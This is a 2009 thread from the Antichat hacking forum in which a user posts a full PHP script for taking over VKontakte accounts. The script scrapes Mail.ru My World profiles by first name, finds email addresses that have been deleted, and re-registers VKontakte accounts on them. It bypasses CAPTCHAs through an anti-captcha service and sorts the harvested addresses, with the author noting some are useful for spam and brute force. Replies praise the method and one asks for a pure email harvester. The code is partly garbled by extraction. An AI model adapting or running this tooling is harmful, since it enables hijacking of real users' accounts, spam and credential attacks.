Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   почти реггер вконтакта=)) (https://forum.antichat.xyz/showthread.php?t=148862)

zifanchuck 16.10.2009 20:40

почти реггер вконтакта=))
 
Типа Интро = )

Все знают что Вконтакте.ру ввел ограничения и теперь чтобы зарегистрироваться нужно получить код по смс и ввести его на сайте и на один номер может быть только одна регистрация. Все регеры подохли, вконтакте быстро банит то что у нас осталось нареганого и нам остаеться только покупать аки с фейка, но они тоже живут не очень долго так как юзера меняют пароли.
Если вы думаете что можно будет поиметь кучу аков то должен вас расстроить тем способом что описан будет ниже можно получить не много аков, но там будет некоторый плюс.
Типа История

Сижу я вообщим на ачате, читаю разную муть. И тут мне приходит сообщения от Кусто с просьбой написать скрипт (я тогда писал скрипты за отзыв). В письме он изложил полную картину того как должен работать скрипт. Тема реально новая и до такого я бы не додумался =)

Суть скрипта

По сколько мы не можем просто зарегать акаунт то нужно искать окольные пути, как раз Кусто нашел.
Есть такой сервис МойМир (my.mail.ru) от всем знакомого нам почтовика mail.ru . При регистрации нам создаеться автоматически МойМир даже если мы им не пользуемся. Сам почтовик удаляет емейлы если им не пользовались больше 3 месяцев, но МойМир остаеться даже есть емейл сдох. Начинаете улавливать мысль ? Тоисть если найди всех «Насть» и проверить мыла то может где-то найдем свободный. Логично? А может этот мыльний есть вконтакте???
Вот Кусто и попросил меня написать скрипт который ищет всех «Насть» берет мыльник, проверяет, если он свободен то проверяет его вконтакте, если там он занят то записывает в файл.
Скрипт написал. Все занятые мыла бросает в бед.тхт (может пригодиться для спама, брута), свободные мыла в гуд.тхт, а те что свободные и есть вконтакте записывает в веригуд.тхт
Но есть здесь недостаток. Например оно чекнуло акаунт и он был свободен, то при повторном чеке этого ака он будет лететь в гуд =(


Вот сам скрипт


PHP код:

<form method="POST">
<center>
email:<input type="text" name="email"><br>
pass:<input type="text" name="pass"><br>
Имя:<input type="text" name="name"><br>
Фамилия:<input type="text" name="surname"><br>
<input type=submit value="НАчать РАботать!!!">
</center>

<?php

//скрипт для поиска юзеров в МоемМире, выдерание мыла, проверка на занятость, потом чек свободных в вконтакте.
//с поддержкой антикаптчи.

set_time_limit(0);

////////////////////////////////////////////

function curl($url,$post)
{
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

///////////////////////////////

    
function add_file($path,$page_body)
{
   
$file=fopen($path,"a+");
    
fputs($file,$page_body);

   
// close out file
   
fclose($file);
}

//////////////////////////////


 
function recognize($filename$apikey$is_verbose true$rtimeout 3$mtimeout 200$is_phrase 0$is_regsense 1$is_numeric 0$min_len 0$max_len 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post',
        
'key'       => $apikey,
        
'file'      => '@'.$filename//полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,

    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch))
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "ID $captcha_id \n";
        
$waittime 0;
        if (
$is_verbose) echo "<br>sleep $rtimeout \n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "<br>captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout)
                {
                    if (
$is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "<br>waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
                echo 
'<br>'.$ex[1];
            }
        }

        return 
false;
    }
}


///////////////////////////////////////

$email $_POST['email'];
$pass $_POST['pass'];
$name $_POST['name'];
$surname $_POST['surname'];

$ak ''// Антикаптча ключ

if(!$email||!$pass){exit('Введите даные');}

list(
$login$domain) = explode("@"$email);
$result curl("http://win.mail.ru/cgi-bin/auth""Login=".$login."&Domain=".$domain."&Password=".$pass);

for(
$page=1$page<=10000$page++)
  {
    
$result curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=&lastname=".$surname."&city=""");
    if (
preg_match('#К сожалению(.*)#iU',$result,$avtoriz))
    {
        
$page 10001;
    }
    else
    {
    
preg_match_all ('#my\.mail\.ru\/mail\/(.*)\/#iU'$result$regs);
    
$regs $regs[1];
    
$count count($regs);

    for(
$i=15$i<=$count$i++)
     {
        
$i++;
        
$result curl("http://my.mail.ru/mail/".$regs[$i], "");
        
preg_match_all ('#gifts\?send=(.*)\"#iU'$result$re);
        
$checkemail $re[1][0];
        if(!
$checkemail){}
        else
       {
        list(
$login$domain) = explode("@",$checkemail);
        
$result curl("http://win.mail.ru/cgi-bin/passremind""action=login&Username=".$login."&Domain=".$domain);
        
$z=strpos($result"Пользователь отсутствует.");
        if (
$z !== false)
         {
             
add_file("good.txt"$checkemail."\r\n");

            
$result curl('http://vk.com/reg0?act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4''');
    if(
strstr($result"captcha_sid"))
    {
            
preg_match_all ('#captcha_sid\"\:\"(.*)\",\"text"#iU'$result$regs);
            
$sid $regs[1][0];
            
$result curl("http://vk.com/captcha.php?s=1&sid=".$sid,"");
            
file_put_contents('cap.jpg',$result);
            
$captcha=recognize('Z:/home/norm/www/cap.jpg' ,$ak);
            
$result curl('http://vkontakte.ru/reg.php''act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4&by_login=0&captcha_sid='.$sid.'&captcha_key='.$captcha);

           if(
strstr($result,'login.php?email='))
        {
             
add_file("varygood.txt"$checkemail."\r\n");
        }
    }
    else
    {
        if(
strstr($result,'login.php?email='))
        {
             
add_file("verygood.txt"$checkemail."\r\n");
        }

    }
        }
        else
        {
            
add_file("bad.txt"$checkemail."\r\n");
        }
       
sleep(30);
       }
     }
    }
  }
?>


Нужно в самом коде добавить антикаптчакей (вконтакте раз гдето в 5 раз выскакивает каптча). Потом когда запустите его через браузер введите логин и пасс для МойМир и фамилию или имя.

П.С Автор идеи (Кусто) не против того что я написал статью :p

=Zeus= 16.10.2009 20:44

Хм, идея действительно интерестная и оригинальная. Молодец Кусто, молодец zifanchuck.

Kusto 16.10.2009 20:51

Кстати могу сказать что сейчас будут многие использовать данный способ и кричать потом что мало акков и т д, Но незабывайте, что прежде чем выложить скрипт сюда им пользовались)) Да и счас начнеться)) Так что выбирайте имена типа Зульфия или Розалина))), т к счас всех Тань, Кать, Маш прочекают))

min7 16.10.2009 21:01

Хорошая тема, но скоро видимо стухнет, нечего чекать будет)

zifanchuck 16.10.2009 21:02

Ставьте + Кусто)) без него бы этого не было ))

.ATK 16.10.2009 21:09

Тееемаа) молодец кусто!

-= PeReC =- 16.10.2009 22:08

Была подобная мысль, юзая ретривер Пухового.

famnam 16.10.2009 22:48

я как раз подобное думал, тока пива выпил и забил ))) ... молодцы!

Sharky 16.10.2009 23:39

хорошая идея) молодцы)

nonamez 24.01.2010 21:54

Тс,а мог бы чуть переделать свой софт и сделать просто сбор эмайлов по странам из моего мира? Без проверки вк -Просто сбор по странам.


Время: 17:30